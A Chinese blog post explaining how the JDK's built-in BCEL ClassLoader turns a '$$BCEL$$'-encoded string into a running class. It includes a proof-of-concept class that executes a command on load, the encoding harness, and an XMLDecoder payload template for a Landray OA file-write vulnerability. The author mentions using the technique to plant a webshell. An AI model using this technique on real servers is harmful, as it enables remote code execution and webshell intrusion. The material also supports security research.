前言
在复现漏洞时,反弹shell始终不成功,后来在一位大佬帖子下看到了这个方法进行写webshell,最终使用蚁剑连接,上线,出于好奇,就自己学习了下,这篇文章主要讲解BCEL
BCEL是什么
BCEL原本是Apache Jakarta的一个子项目,后来成为了Apache Commons的一个子项目。Apache Commons Collections想必大家都知道,就是常说的CC链,也是Apache Commons的一个子项目
BCEL主要用于分析、创建、操纵Java class文件,包含在原生原生JDK中(com.sun.org.apache.bcel),之所以包含在原生JDK主要原因可能是为了支撑Java XML的一些功能,Java XML功能包含了JAXP(Java API for XML Processing)规范,Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。
Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。
XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。
因为需要编译文件,实际上是动态生成Java字节码,BCEL正是一个Java处理字节码的库,所以Apache Xalan又依赖了BCEL
CalssLoader使用
重点:千万不要使用Java8,会出现异常,可能无法看到弹窗,建议使用Java7或者6
现在我们来看BCEL包中的com.sun.org.apache.bcel.internal.util.ClassLoader类,它是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。
我自己随便写了一个字符串$$BCEL$$xd
,作为ClassLoader类下loadClass函数的参数,在跟踪到loadClass方法
发现loadClass方法里面在判断有无$$BCEL$$xd
字符串,接下来我们跟进到createClass方法里面
发现获该方法获取了$$BCEL$$xd
字符串后面的字符并对其进行解码
我们写一个恶意类(exp),在主函数里定义一个字符串为$$BCEL$$
,然后对exp类进行BCEL编码结果拼接到字符串,最后使用loadClass,并对其构建对象
//exp.java
public class exp {
static {
try {
Runtime.getRuntime().exec("notepad");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class main {
public static void main(String[] args) throws Exception {
JavaClass javaclass = Repository.lookupClass(exp.class);
String str = "$$BCEL$$";
str += Utility.encode(javaclass.getBytes(), true);
new ClassLoader().loadClass(str).newInstance();
}
}
最后也是成功弹出了记事本
根据前面代码我们可以看出,查找$$BCEL$$
字符串位置,并跳过该字符串截取到末尾,也就是说不一定开头是$$BCEL$$
,但是这个字符串后面必须是编码后的字符串,现在尝试xd$$BCEL$$
拼接上exp类进行编码后的字符串,结果也是很美妙,弹出了记事本
BCEL利用
这里以蓝凌OA的任意文件写入漏洞为例,payload为
<java>
<void class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<void method="loadClass">
<string>$$BCEL$$......</string>
<void method="newInstance"></void>
</void>
</void>
</java>
恶意exp类为请求dnslog
对exp.java进行编译,source是使用那个版本的编译器对其编译,target指定生成的class文件将保证和哪个版本的虚拟机进行兼容
使用BCELCode(https://github.com/Xd-tl/BCELCode)对其进行编码
插入BCEL编码,并发包,刷新dnslog,成功看到目标服务器请求dnslog了
总结
至此,使用BCEL本地尝试也是成功了,利用中也是成功了。但是不幸的是Java 8u251版本之后使用会爆异常,原因可能是Java在升级BCEL时,将ClassLoader删除了,所以在本地尝试时千万不要使用8u251以后版本
大家可以关注菜鸡的公众号,有什么好想法也可以让我学习一下,有什么问题可以一块解决,由于二维码违规,下面是base64编码的文字
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u